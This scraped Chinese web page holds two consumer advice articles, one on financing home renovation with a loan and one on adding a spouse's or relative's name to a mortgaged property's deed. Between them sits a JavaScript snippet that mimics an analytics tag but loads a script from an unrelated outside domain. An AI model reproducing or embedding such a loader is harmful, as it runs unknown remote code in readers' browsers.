装修可以按揭吗-装修费用解决了

​由于房价越来越高，许多人不得不攒够钱买房子，但也面临房屋装修的问题，尤其是那些买房子时已经办理过住房贷款的人，也没有多余的资金来装修房子。那么，装修可以按揭吗？下面一起来了解一下。装修可以按揭吗？个人房屋装修按揭说的是银行给居民发放人民币贷款，主要是用于自家房屋装修、用于家庭装修和维修工程、相关装修材料、厨房和卫生设备等的建设费用。如果要申请房屋装修贷款，贷款金额不能超过装修合同总价值的80%，贷款期限一般不超过5年。此外，还要有证明表示，住房总支出不能超过家庭总收入的50%。装修可以按揭吗？应当具备下列条件：（一）必须要有在城镇有有效居民身份证或者有常住户口本；（二）房屋所有权证书或者房屋单位借款人签发的房屋使用权证书；要装修的房屋的产权必须是属于自己的，所以需要有产权证书；如果房子是公司的，那就需要有公司的房子所有权证书。（三）要有稳定的工作和收入，还要信用良好，证明出你有按时偿还贷款本金和利息的能力。装修可以按揭吗？申请按揭所需的资料（一）合法身份证（居民身份证、户籍册或者其他有效居留证件）的原件和副本；（二）房屋产权证明或者以借款人的名义使用房屋的权利证明；（三）要有房屋装修工程建设合同；（四）单位出具的经济收入证明；（五）属于抵押贷款的，需要有质押清单、抵押财产产权证明、经处置机关同意的证明文件和抵押财产评估报告。（六）还要提供保证人的担保书、信用证明的书面文件；申请人所需要装修的房子也可以作为抵押财产，原则上已将抵押房屋抵押给银行，不再用于抵押申请，装修可以按揭吗？还没有得到房屋产权证的也可以。不过，有些银行会向其按揭客户提供装修贷款，装修可以按揭吗？即使房屋是按揭，也可以用来申请装修贷款。装修可以按揭吗？答案是可以的，现在有好多新贷款产品，有一种翻新的产品，就是在银行抵押贷款后，还能再申请翻新贷款，但要注意的是装修所需要贷款的钱，与抵押的那个房屋所值的钱，还有抵押贷款没有还完的钱都是有一定的关系的。提供的财产或资产越多，申请抵押的贷款会越容易。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

贷款房屋加名字怎么做

使用按揭贷款的方式买房子的人有很多，这种方式是能够让自己短时间里买到自己想要购买的房子，就算你还没有能力付清全款也没有任何关系。在买房子的时候，往往需要在房屋上面写名字，一般都是出资人直接购买。但后来买房人结婚了，需要在房屋里面增加一个名字。在房屋产权上加名字可不容易，那么贷款房屋加名字怎么做呢?小编为你推荐一些方法。贷款买的房子要想在房产证增加夫妻另一方名字，首先要还清贷款撤销抵押，产权清晰后，夫妻双方再持身份证、房产证、结婚证等资料到相关部门办理房产证增加名字的手续。在婚姻存续期间房产证添加配偶姓名可以直接添加。如果在婚姻存续期间房产属于夫妻共同财产，就算是房产证上只写一个人的名字也算是两人的共同财产。因此在婚姻期间，这类情况如需办理房产证加名字的手续，只需携带结婚证、房屋两证、身份原件及复印件到房产交易中心“变更登记”窗口办理即可。贷款房屋加名字怎么做(一)有贷款房产证加名字1.先去银行办理抵押手续变更;2.办理所需要的费用：110元手续费。如果贷款是公积金的，需要另外加100元;如果是组合贷款(公积金贷款+商业贷款)，需要加200元费用。3.带好三证(结婚证，身份证，房产证)及其复印件;4.去房屋交易中心，窗口工作人员会审核提交的材料。(二)没有直系血缘关系的房产证加名字情况会复杂很多，因为那将视为房屋买卖，需要交如下费用。1.每平方米2.5元交易费。2.不满5年，5.5%的营业税加1%个调税(时间段从产证发证日期到交易日未止)，满5年则不需要。3.万分之5的印花税。4.4本合同，每本约5元(各区交易中心不一样)。5.男方转让50%，所有的税按市场价格计算，如果100万的房子记税值就是50万。6.产证上有几人转让的，产证权益按平均分。(三)无贷房产证加妻子、子女、父母名字1.带好三证(结婚证，身份证，房产证)及其复印件;2.去房屋交易中心，窗口工作人员会审核提交的材料;3.办理房产证上加名字所需的费用：110元手续费：80元手续费，25元籍图费，5元贴花费。顺利的话，大概20天可以拿到房产证。(四)特别注意事项：房产证上给妻子或丈夫加名，夫妻间权属变更免征契税2014年1月，财政部、国税总局日前发布通知，在婚姻关系存续期间，夫妻之间进行房屋、土地权属的变更，免征契税。财政部、国税总局日前发布通知，在婚姻关系存续期间，房屋、土地权属原归夫妻一方所有，变更为夫妻双方共有或另一方所有，或者房屋、土地权属原归夫妻双方共有，变更为其中一方所有，或者房屋、土地权属原归夫妻双方共有，双方约定、变更共有份额，免征契税。贷款房屋加名字怎么做?贷款房屋加名字属于对房屋产权归属进行变更，在变更的时候要能知道一些具体的程序。同时提醒大家，在房屋上加了名字，就代表那个人名下拥有一套房屋了，对于一些在执行限购政策的大城市而言，如果他们有能力去购买新房子，在套数上面可能会有一些限制，大家要能区分清楚，避免盲目加名字影响到日后的买房。